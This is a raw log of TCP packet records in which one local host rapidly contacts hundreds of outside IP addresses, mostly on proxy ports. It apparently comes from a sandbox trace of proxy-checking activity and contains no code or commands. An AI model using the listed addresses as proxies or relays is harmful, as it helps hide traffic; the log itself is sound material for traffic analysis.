Mar 11, 2024 16:39:43.942636013 CET	49732	8089	192.168.2.10	117.70.49.235
Mar 11, 2024 16:39:43.942660093 CET	50108	8080	192.168.2.10	103.167.68.77
Mar 11, 2024 16:39:43.942784071 CET	50109	8080	192.168.2.10	159.112.141.44
Mar 11, 2024 16:39:43.944098949 CET	18067	49948	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:43.944819927 CET	50110	54924	192.168.2.10	67.213.210.118
Mar 11, 2024 16:39:43.944823027 CET	50111	9999	192.168.2.10	115.221.242.131
Mar 11, 2024 16:39:43.944948912 CET	50112	3629	192.168.2.10	81.12.104.43
Mar 11, 2024 16:39:43.945934057 CET	50113	8080	192.168.2.10	183.179.187.16
Mar 11, 2024 16:39:43.946791887 CET	80	49932	50.168.163.166	192.168.2.10
Mar 11, 2024 16:39:43.946804047 CET	26353	49949	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:43.947237968 CET	50114	8080	192.168.2.10	156.232.9.194
Mar 11, 2024 16:39:43.947241068 CET	50115	3128	192.168.2.10	62.171.133.66
Mar 11, 2024 16:39:43.947387934 CET	50116	8080	192.168.2.10	138.0.143.128
Mar 11, 2024 16:39:43.949295044 CET	50117	80	192.168.2.10	50.145.6.36
Mar 11, 2024 16:39:43.950277090 CET	80	50005	104.27.15.161	192.168.2.10
Mar 11, 2024 16:39:43.950301886 CET	50118	24279	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:43.950573921 CET	50005	80	192.168.2.10	104.27.15.161
Mar 11, 2024 16:39:43.950573921 CET	50005	80	192.168.2.10	104.27.15.161
Mar 11, 2024 16:39:43.951350927 CET	50119	3128	192.168.2.10	155.50.213.149
Mar 11, 2024 16:39:43.951406956 CET	4145	49972	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:43.951597929 CET	49972	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:43.951597929 CET	49972	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:43.953986883 CET	64768	49894	173.212.250.16	192.168.2.10
Mar 11, 2024 16:39:43.954020977 CET	50120	50062	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:43.955661058 CET	17145	49961	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:43.959614992 CET	49729	4145	192.168.2.10	152.32.78.24
Mar 11, 2024 16:39:43.960475922 CET	50121	80	192.168.2.10	104.20.123.164
Mar 11, 2024 16:39:43.960656881 CET	9090	49865	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:43.962929964 CET	50122	999	192.168.2.10	181.78.74.78
Mar 11, 2024 16:39:43.962929964 CET	50124	1080	192.168.2.10	64.124.145.1
Mar 11, 2024 16:39:43.962951899 CET	50123	10705	192.168.2.10	47.113.179.6
Mar 11, 2024 16:39:43.963043928 CET	49865	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:43.963116884 CET	80	49819	104.16.81.76	192.168.2.10
Mar 11, 2024 16:39:43.963146925 CET	55137	50009	192.169.197.146	192.168.2.10
Mar 11, 2024 16:39:43.963192940 CET	49865	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:43.965085030 CET	8800	49740	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:43.965137005 CET	50125	1431	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:43.965225935 CET	49740	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.965384007 CET	49740	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.965955973 CET	50126	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.966372013 CET	8800	49740	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:43.966444016 CET	50127	8080	192.168.2.10	185.200.38.117
Mar 11, 2024 16:39:43.966581106 CET	80	50016	162.159.242.138	192.168.2.10
Mar 11, 2024 16:39:43.966913939 CET	50016	80	192.168.2.10	162.159.242.138
Mar 11, 2024 16:39:43.966913939 CET	50016	80	192.168.2.10	162.159.242.138
Mar 11, 2024 16:39:43.968863010 CET	50129	10363	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:43.968894005 CET	50128	8000	192.168.2.10	103.182.112.11
Mar 11, 2024 16:39:43.970648050 CET	50131	3129	192.168.2.10	45.134.80.222
Mar 11, 2024 16:39:43.970649004 CET	50130	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:43.971313000 CET	50132	55507	192.168.2.10	5.58.33.187
Mar 11, 2024 16:39:43.971937895 CET	50134	26552	192.168.2.10	161.97.173.78
Mar 11, 2024 16:39:43.971941948 CET	50133	55066	192.168.2.10	167.86.115.103
Mar 11, 2024 16:39:43.972592115 CET	50135	80	192.168.2.10	104.21.194.182
Mar 11, 2024 16:39:43.973412037 CET	49719	3129	192.168.2.10	20.219.180.149
Mar 11, 2024 16:39:43.974091053 CET	50136	14921	192.168.2.10	192.252.211.197
Mar 11, 2024 16:39:43.974642992 CET	50137	80	192.168.2.10	172.67.182.0
Mar 11, 2024 16:39:43.974648952 CET	50138	1080	192.168.2.10	171.248.209.6
Mar 11, 2024 16:39:43.975508928 CET	3128	49909	194.182.187.78	192.168.2.10
Mar 11, 2024 16:39:43.976428986 CET	50140	999	192.168.2.10	45.229.34.174
Mar 11, 2024 16:39:43.976428986 CET	50139	999	192.168.2.10	177.234.194.226
Mar 11, 2024 16:39:43.976541042 CET	50141	5678	192.168.2.10	169.255.198.8
Mar 11, 2024 16:39:43.978468895 CET	25639	49980	67.43.227.226	192.168.2.10
Mar 11, 2024 16:39:43.978496075 CET	50142	8080	192.168.2.10	103.153.40.38
Mar 11, 2024 16:39:43.979083061 CET	50143	20037	192.168.2.10	64.44.139.12
Mar 11, 2024 16:39:43.979247093 CET	50144	3128	192.168.2.10	194.186.35.70
Mar 11, 2024 16:39:43.980124950 CET	58386	49845	5.44.42.115	192.168.2.10
Mar 11, 2024 16:39:43.980968952 CET	50145	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.980969906 CET	50146	63614	192.168.2.10	173.212.237.43
Mar 11, 2024 16:39:43.980987072 CET	443	50145	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.981065035 CET	50145	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.981148958 CET	50147	9898	192.168.2.10	213.165.168.190
Mar 11, 2024 16:39:43.981148958 CET	50145	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.981163979 CET	443	50145	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.981204033 CET	443	50145	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.981820107 CET	50148	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.981837034 CET	443	50148	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.981945992 CET	50148	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.982140064 CET	50148	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.982151985 CET	443	50148	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.982173920 CET	443	50148	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.982644081 CET	50149	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.982669115 CET	443	50149	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.982816935 CET	50149	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.982881069 CET	50149	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.982893944 CET	443	50149	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.982913017 CET	443	50149	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.983155012 CET	8888	49904	65.109.152.88	192.168.2.10
Mar 11, 2024 16:39:43.983365059 CET	49904	8888	192.168.2.10	65.109.152.88
Mar 11, 2024 16:39:43.983418941 CET	49904	8888	192.168.2.10	65.109.152.88
Mar 11, 2024 16:39:43.983815908 CET	50150	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.983834982 CET	443	50150	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.983860016 CET	50151	27234	192.168.2.10	179.125.51.54
Mar 11, 2024 16:39:43.983882904 CET	50150	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.984098911 CET	50150	443	192.168.2.10	43.157.32.4
Mar 11, 2024 16:39:43.984112978 CET	443	50150	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.984128952 CET	443	50150	43.157.32.4	192.168.2.10
Mar 11, 2024 16:39:43.984147072 CET	50152	8080	192.168.2.10	188.132.222.40
Mar 11, 2024 16:39:43.986211061 CET	50153	80	192.168.2.10	104.16.143.127
Mar 11, 2024 16:39:43.986212015 CET	50155	34411	192.168.2.10	212.110.188.222
Mar 11, 2024 16:39:43.986219883 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:43.986485958 CET	50156	3128	192.168.2.10	146.190.51.181
Mar 11, 2024 16:39:43.987404108 CET	50157	7183	192.168.2.10	132.148.245.247
Mar 11, 2024 16:39:43.987406015 CET	50158	9990	192.168.2.10	117.160.250.163
Mar 11, 2024 16:39:43.988224983 CET	50159	3128	192.168.2.10	193.56.255.179
Mar 11, 2024 16:39:43.988683939 CET	50160	59268	192.168.2.10	67.213.212.50
Mar 11, 2024 16:39:43.990729094 CET	8193	49929	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:43.990932941 CET	49929	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:43.990932941 CET	50161	3128	192.168.2.10	80.251.219.40
Mar 11, 2024 16:39:43.991609097 CET	49929	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:43.992106915 CET	7777	49880	123.30.154.171	192.168.2.10
Mar 11, 2024 16:39:43.992366076 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:43.992528915 CET	49880	7777	192.168.2.10	123.30.154.171
Mar 11, 2024 16:39:43.992604017 CET	49880	7777	192.168.2.10	123.30.154.171
Mar 11, 2024 16:39:43.992976904 CET	50162	80	192.168.2.10	50.170.90.28
Mar 11, 2024 16:39:43.994889975 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:43.994925022 CET	50164	21777	192.168.2.10	51.222.84.118
Mar 11, 2024 16:39:43.994925976 CET	50163	8080	192.168.2.10	103.230.49.132
Mar 11, 2024 16:39:43.995037079 CET	49911	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:43.995162010 CET	49911	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:43.995942116 CET	9764	49996	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:43.995944977 CET	50165	24787	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:43.997543097 CET	50167	8080	192.168.2.10	103.148.130.5
Mar 11, 2024 16:39:43.997544050 CET	50166	999	192.168.2.10	177.234.194.158
Mar 11, 2024 16:39:43.997687101 CET	49996	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:43.997803926 CET	49996	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.000745058 CET	50168	57364	192.168.2.10	162.241.53.72
Mar 11, 2024 16:39:44.001837969 CET	3629	49841	178.158.197.147	192.168.2.10
Mar 11, 2024 16:39:44.001868963 CET	50169	3256	192.168.2.10	106.45.221.168
Mar 11, 2024 16:39:44.002720118 CET	44607	49712	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:44.002901077 CET	50170	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.002921104 CET	5678	49879	176.119.227.65	192.168.2.10
Mar 11, 2024 16:39:44.003607035 CET	50171	41274	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:44.004415989 CET	50172	47036	192.168.2.10	83.151.4.172
Mar 11, 2024 16:39:44.004420996 CET	49750	40351	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:44.004473925 CET	49751	30951	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.005285978 CET	80	49970	52.196.1.182	192.168.2.10
Mar 11, 2024 16:39:44.005598068 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:44.005836964 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:44.006149054 CET	50173	3128	192.168.2.10	165.232.89.116
Mar 11, 2024 16:39:44.007507086 CET	50175	9090	192.168.2.10	189.240.60.163
Mar 11, 2024 16:39:44.007690907 CET	50176	5678	192.168.2.10	89.34.198.253
Mar 11, 2024 16:39:44.007785082 CET	80	49920	104.16.105.106	192.168.2.10
Mar 11, 2024 16:39:44.007786036 CET	50174	3128	192.168.2.10	41.223.232.117
Mar 11, 2024 16:39:44.007848024 CET	80	49920	104.16.105.106	192.168.2.10
Mar 11, 2024 16:39:44.008106947 CET	80	49920	104.16.105.106	192.168.2.10
Mar 11, 2024 16:39:44.008301973 CET	49920	80	192.168.2.10	104.16.105.106
Mar 11, 2024 16:39:44.008508921 CET	49920	80	192.168.2.10	104.16.105.106
Mar 11, 2024 16:39:44.008589983 CET	15082	49709	45.77.111.135	192.168.2.10
Mar 11, 2024 16:39:44.009527922 CET	50177	1337	192.168.2.10	185.217.136.67
Mar 11, 2024 16:39:44.010795116 CET	50178	3129	192.168.2.10	20.204.214.79
Mar 11, 2024 16:39:44.010797024 CET	50179	13477	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.011217117 CET	50180	80	192.168.2.10	223.19.111.185
Mar 11, 2024 16:39:44.014431953 CET	80	49942	104.16.106.65	192.168.2.10
Mar 11, 2024 16:39:44.014508009 CET	80	49942	104.16.106.65	192.168.2.10
Mar 11, 2024 16:39:44.014554977 CET	80	49942	104.16.106.65	192.168.2.10
Mar 11, 2024 16:39:44.014753103 CET	49942	80	192.168.2.10	104.16.106.65
Mar 11, 2024 16:39:44.014988899 CET	28695	50003	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.015002966 CET	49942	80	192.168.2.10	104.16.106.65
Mar 11, 2024 16:39:44.015095949 CET	50003	28695	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.015607119 CET	50003	28695	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.017436028 CET	50181	8080	192.168.2.10	185.208.102.62
Mar 11, 2024 16:39:44.017721891 CET	50182	999	192.168.2.10	45.184.155.3
Mar 11, 2024 16:39:44.017803907 CET	50183	8888	192.168.2.10	154.64.219.2
Mar 11, 2024 16:39:44.017821074 CET	15673	49933	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.017941952 CET	49933	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.018017054 CET	49933	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:44.018017054 CET	50184	3128	192.168.2.10	161.97.132.227
Mar 11, 2024 16:39:44.018277884 CET	50185	42072	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:44.018543005 CET	50186	34071	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:44.018543959 CET	50188	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.018543005 CET	50187	8080	192.168.2.10	183.89.9.82
Mar 11, 2024 16:39:44.018594980 CET	50189	8080	192.168.2.10	27.130.253.68
Mar 11, 2024 16:39:44.018825054 CET	50190	49775	192.168.2.10	138.201.21.232
Mar 11, 2024 16:39:44.018933058 CET	34350	50000	66.29.128.246	192.168.2.10
Mar 11, 2024 16:39:44.019251108 CET	80	49839	185.162.229.127	192.168.2.10
Mar 11, 2024 16:39:44.019268036 CET	50191	3128	192.168.2.10	199.223.255.109
Mar 11, 2024 16:39:44.019284010 CET	50192	8089	192.168.2.10	114.232.109.43
Mar 11, 2024 16:39:44.019678116 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:44.019824028 CET	50193	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:44.020246029 CET	50195	8080	192.168.2.10	103.159.66.61
Mar 11, 2024 16:39:44.020246983 CET	50196	80	192.168.2.10	172.67.150.173
Mar 11, 2024 16:39:44.020536900 CET	50197	80	192.168.2.10	104.20.24.214
Mar 11, 2024 16:39:44.020536900 CET	50198	8080	192.168.2.10	46.209.54.102
Mar 11, 2024 16:39:44.020845890 CET	50199	29745	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:44.021029949 CET	80	49946	50.170.90.24	192.168.2.10
Mar 11, 2024 16:39:44.022250891 CET	50200	9080	192.168.2.10	154.205.152.96
Mar 11, 2024 16:39:44.022250891 CET	50201	8080	192.168.2.10	102.23.234.201
Mar 11, 2024 16:39:44.022717953 CET	50202	4145	192.168.2.10	199.102.107.145
Mar 11, 2024 16:39:44.022871017 CET	50203	30000	192.168.2.10	161.97.74.176
Mar 11, 2024 16:39:44.023835897 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:44.024528027 CET	50205	3128	192.168.2.10	91.189.177.186
Mar 11, 2024 16:39:44.025666952 CET	80	50038	104.20.56.71	192.168.2.10
Mar 11, 2024 16:39:44.025794029 CET	50038	80	192.168.2.10	104.20.56.71
Mar 11, 2024 16:39:44.025867939 CET	50206	42331	192.168.2.10	206.189.9.30
Mar 11, 2024 16:39:44.025933981 CET	50038	80	192.168.2.10	104.20.56.71
Mar 11, 2024 16:39:44.026444912 CET	50207	80	192.168.2.10	185.167.59.215
Mar 11, 2024 16:39:44.026449919 CET	50208	51800	192.168.2.10	110.185.105.210
Mar 11, 2024 16:39:44.026655912 CET	80	49975	50.172.75.125	192.168.2.10
Mar 11, 2024 16:39:44.027668953 CET	3128	50010	178.128.148.69	192.168.2.10
Mar 11, 2024 16:39:44.028153896 CET	50210	31337	192.168.2.10	186.251.255.41
Mar 11, 2024 16:39:44.028158903 CET	50209	8080	192.168.2.10	159.192.102.249
Mar 11, 2024 16:39:44.028249025 CET	80	50041	172.67.53.215	192.168.2.10
Mar 11, 2024 16:39:44.028476954 CET	50041	80	192.168.2.10	172.67.53.215
Mar 11, 2024 16:39:44.028588057 CET	50041	80	192.168.2.10	172.67.53.215
Mar 11, 2024 16:39:44.029113054 CET	8888	49966	51.15.242.202	192.168.2.10
Mar 11, 2024 16:39:44.029248953 CET	49966	8888	192.168.2.10	51.15.242.202
Mar 11, 2024 16:39:44.029603958 CET	50211	80	192.168.2.10	172.67.38.96
Mar 11, 2024 16:39:44.029608011 CET	49966	8888	192.168.2.10	51.15.242.202
Mar 11, 2024 16:39:44.029829025 CET	50212	8080	192.168.2.10	66.225.246.238
Mar 11, 2024 16:39:44.029856920 CET	5385	50014	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:44.030807018 CET	50213	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:44.031275988 CET	50214	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:44.031497002 CET	50215	80	192.168.2.10	36.229.100.73
Mar 11, 2024 16:39:44.031769037 CET	50216	1088	192.168.2.10	81.199.14.49
Mar 11, 2024 16:39:44.031788111 CET	3128	49968	195.154.172.161	192.168.2.10
Mar 11, 2024 16:39:44.033401966 CET	50217	1080	192.168.2.10	209.14.112.8
Mar 11, 2024 16:39:44.033406019 CET	50218	80	192.168.2.10	103.151.20.131
Mar 11, 2024 16:39:44.033473969 CET	49968	3128	192.168.2.10	195.154.172.161
Mar 11, 2024 16:39:44.033663988 CET	49968	3128	192.168.2.10	195.154.172.161
Mar 11, 2024 16:39:44.034286976 CET	50220	80	192.168.2.10	31.43.179.214
Mar 11, 2024 16:39:44.034291029 CET	50219	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:44.035564899 CET	50221	8080	192.168.2.10	34.84.95.189
Mar 11, 2024 16:39:44.035660982 CET	31295	50019	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.035675049 CET	49722	8081	192.168.2.10	154.72.90.74
Mar 11, 2024 16:39:44.036798000 CET	80	49851	172.67.187.242	192.168.2.10
Mar 11, 2024 16:39:44.037391901 CET	80	49956	218.255.187.60	192.168.2.10
Mar 11, 2024 16:39:44.037420034 CET	50223	80	192.168.2.10	195.23.57.78
Mar 11, 2024 16:39:44.037420988 CET	50222	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:44.037476063 CET	49956	80	192.168.2.10	218.255.187.60
Mar 11, 2024 16:39:44.037645102 CET	49956	80	192.168.2.10	218.255.187.60
Mar 11, 2024 16:39:44.038043022 CET	3933	50021	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.038785934 CET	18080	49937	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:44.039623022 CET	55109	49962	161.97.163.52	192.168.2.10
Mar 11, 2024 16:39:44.039654016 CET	49937	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:44.039772987 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.039829969 CET	49937	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:44.039900064 CET	49962	55109	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:44.040445089 CET	50226	10801	192.168.2.10	103.53.110.45
Mar 11, 2024 16:39:44.040446043 CET	50224	4145	192.168.2.10	199.102.106.94
Mar 11, 2024 16:39:44.040447950 CET	50225	49614	192.168.2.10	206.189.145.23
Mar 11, 2024 16:39:44.048536062 CET	50228	5096	192.168.2.10	165.154.227.154
Mar 11, 2024 16:39:44.048541069 CET	50229	4711	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:44.048548937 CET	50227	56252	192.168.2.10	103.59.190.209
Mar 11, 2024 16:39:44.048908949 CET	50231	49865	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:44.048954010 CET	50230	7891	192.168.2.10	43.129.228.46
Mar 11, 2024 16:39:44.049290895 CET	50232	8080	192.168.2.10	101.255.62.129
Mar 11, 2024 16:39:44.049290895 CET	50234	8889	192.168.2.10	216.176.187.99
Mar 11, 2024 16:39:44.049308062 CET	50233	80	192.168.2.10	154.65.39.7
Mar 11, 2024 16:39:44.049386978 CET	50235	41055	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:44.049782991 CET	4145	49945	36.90.61.224	192.168.2.10
Mar 11, 2024 16:39:44.049803972 CET	80	49860	104.25.135.170	192.168.2.10
Mar 11, 2024 16:39:44.049815893 CET	50236	8181	192.168.2.10	43.132.184.228
Mar 11, 2024 16:39:44.049940109 CET	50237	80	192.168.2.10	104.17.171.235
Mar 11, 2024 16:39:44.050004959 CET	50238	81	192.168.2.10	188.168.24.222
Mar 11, 2024 16:39:44.050318956 CET	50240	8080	192.168.2.10	202.179.188.178
Mar 11, 2024 16:39:44.050318956 CET	50239	43100	192.168.2.10	142.4.7.20
Mar 11, 2024 16:39:44.050318956 CET	50242	42624	192.168.2.10	162.214.165.6
Mar 11, 2024 16:39:44.050556898 CET	50243	80	192.168.2.10	37.120.189.106
Mar 11, 2024 16:39:44.050697088 CET	50244	83	192.168.2.10	103.129.3.246
Mar 11, 2024 16:39:44.050806046 CET	80	49971	104.18.20.160	192.168.2.10
Mar 11, 2024 16:39:44.050836086 CET	50245	5678	192.168.2.10	191.97.2.198
Mar 11, 2024 16:39:44.050860882 CET	80	49971	104.18.20.160	192.168.2.10
Mar 11, 2024 16:39:44.050971031 CET	16379	49984	163.172.171.22	192.168.2.10
Mar 11, 2024 16:39:44.051034927 CET	9375	49725	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.051038027 CET	49984	16379	192.168.2.10	163.172.171.22
Mar 11, 2024 16:39:44.051052094 CET	49971	80	192.168.2.10	104.18.20.160
Mar 11, 2024 16:39:44.051281929 CET	49766	4495	192.168.2.10	67.43.228.252
Mar 11, 2024 16:39:44.052277088 CET	50241	80	192.168.2.10	141.147.33.121
Mar 11, 2024 16:39:44.052371025 CET	80	49971	104.18.20.160	192.168.2.10
Mar 11, 2024 16:39:44.052486897 CET	49971	80	192.168.2.10	104.18.20.160
Mar 11, 2024 16:39:44.053483009 CET	49984	16379	192.168.2.10	163.172.171.22
Mar 11, 2024 16:39:44.053483009 CET	50246	80	192.168.2.10	172.67.182.126
Mar 11, 2024 16:39:44.054896116 CET	50247	55443	192.168.2.10	197.232.65.40
Mar 11, 2024 16:39:44.055325985 CET	50248	80	192.168.2.10	50.217.226.44
Mar 11, 2024 16:39:44.055602074 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.055960894 CET	50250	8888	192.168.2.10	194.150.69.56
Mar 11, 2024 16:39:44.056149006 CET	50251	5034	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.057157993 CET	50252	999	192.168.2.10	38.41.0.94
Mar 11, 2024 16:39:44.057564020 CET	50253	999	192.168.2.10	45.176.97.90
Mar 11, 2024 16:39:44.057954073 CET	80	50017	50.168.210.239	192.168.2.10
Mar 11, 2024 16:39:44.058631897 CET	50254	9002	192.168.2.10	222.138.76.6
Mar 11, 2024 16:39:44.058635950 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:44.059602022 CET	50256	999	192.168.2.10	186.125.218.145
Mar 11, 2024 16:39:44.059712887 CET	50257	80	192.168.2.10	82.64.77.30
Mar 11, 2024 16:39:44.060621977 CET	50259	40536	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:44.060621977 CET	50258	8000	192.168.2.10	128.199.252.41
Mar 11, 2024 16:39:44.061566114 CET	50260	80	192.168.2.10	13.209.156.241
Mar 11, 2024 16:39:44.061706066 CET	50261	4145	192.168.2.10	1.2.209.194
Mar 11, 2024 16:39:44.063132048 CET	50262	3128	192.168.2.10	103.35.189.217
Mar 11, 2024 16:39:44.063467026 CET	50263	49401	192.168.2.10	162.241.46.40
Mar 11, 2024 16:39:44.064479113 CET	50264	8080	192.168.2.10	91.202.230.219
Mar 11, 2024 16:39:44.065625906 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:44.065867901 CET	4145	49898	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:44.065953016 CET	4145	49898	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:44.066184998 CET	50266	5678	192.168.2.10	83.56.15.57
Mar 11, 2024 16:39:44.066409111 CET	50267	3128	192.168.2.10	45.159.150.23
Mar 11, 2024 16:39:44.066562891 CET	80	50074	185.238.228.67	192.168.2.10
Mar 11, 2024 16:39:44.066775084 CET	50074	80	192.168.2.10	185.238.228.67
Mar 11, 2024 16:39:44.066843987 CET	50074	80	192.168.2.10	185.238.228.67
Mar 11, 2024 16:39:44.066854954 CET	50268	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:44.066917896 CET	49736	33590	192.168.2.10	85.120.30.66
Mar 11, 2024 16:39:44.066917896 CET	49715	5212	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:44.066935062 CET	49710	50640	192.168.2.10	203.161.32.242
Mar 11, 2024 16:39:44.066937923 CET	49711	80	192.168.2.10	18.141.177.23
Mar 11, 2024 16:39:44.066939116 CET	49713	8080	192.168.2.10	103.141.66.78
Mar 11, 2024 16:39:44.066946030 CET	49714	8080	192.168.2.10	103.186.8.162
Mar 11, 2024 16:39:44.066948891 CET	49716	8080	192.168.2.10	103.169.130.46
Mar 11, 2024 16:39:44.067035913 CET	49724	84	192.168.2.10	103.26.108.118
Mar 11, 2024 16:39:44.067042112 CET	49773	80	192.168.2.10	50.239.72.18
Mar 11, 2024 16:39:44.068069935 CET	50270	80	192.168.2.10	172.67.181.129
Mar 11, 2024 16:39:44.068090916 CET	50269	10722	192.168.2.10	192.163.202.88
Mar 11, 2024 16:39:44.069319963 CET	50271	80	192.168.2.10	12.176.231.147
Mar 11, 2024 16:39:44.069324970 CET	50272	3629	192.168.2.10	95.31.42.199
Mar 11, 2024 16:39:44.070589066 CET	50273	48553	192.168.2.10	203.96.177.211
Mar 11, 2024 16:39:44.070765972 CET	50274	32100	192.168.2.10	50.199.46.20
Mar 11, 2024 16:39:44.073121071 CET	9401	49821	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:44.073631048 CET	49821	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:44.074774981 CET	10003	49992	147.75.34.86	192.168.2.10
Mar 11, 2024 16:39:44.075004101 CET	8081	49726	79.110.196.145	192.168.2.10
Mar 11, 2024 16:39:44.075015068 CET	49992	10003	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:44.075184107 CET	49992	10003	192.168.2.10	147.75.34.86
Mar 11, 2024 16:39:44.080697060 CET	80	50092	23.227.38.198	192.168.2.10
Mar 11, 2024 16:39:44.080862999 CET	50092	80	192.168.2.10	23.227.38.198
Mar 11, 2024 16:39:44.081006050 CET	50092	80	192.168.2.10	23.227.38.198
Mar 11, 2024 16:39:44.081363916 CET	80	49930	45.139.11.200	192.168.2.10
Mar 11, 2024 16:39:44.082540989 CET	49775	28971	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:44.082542896 CET	49720	587	192.168.2.10	160.248.80.91
Mar 11, 2024 16:39:44.082542896 CET	49717	5678	192.168.2.10	91.187.55.39
Mar 11, 2024 16:39:44.082559109 CET	49723	48892	192.168.2.10	72.167.222.113
Mar 11, 2024 16:39:44.085741043 CET	1976	49967	41.128.148.76	192.168.2.10
Mar 11, 2024 16:39:44.085901976 CET	49967	1976	192.168.2.10	41.128.148.76
Mar 11, 2024 16:39:44.086107016 CET	49967	1976	192.168.2.10	41.128.148.76
Mar 11, 2024 16:39:44.087491035 CET	8081	49801	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:44.087645054 CET	49801	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:44.087831974 CET	49801	8081	192.168.2.10	193.239.56.84
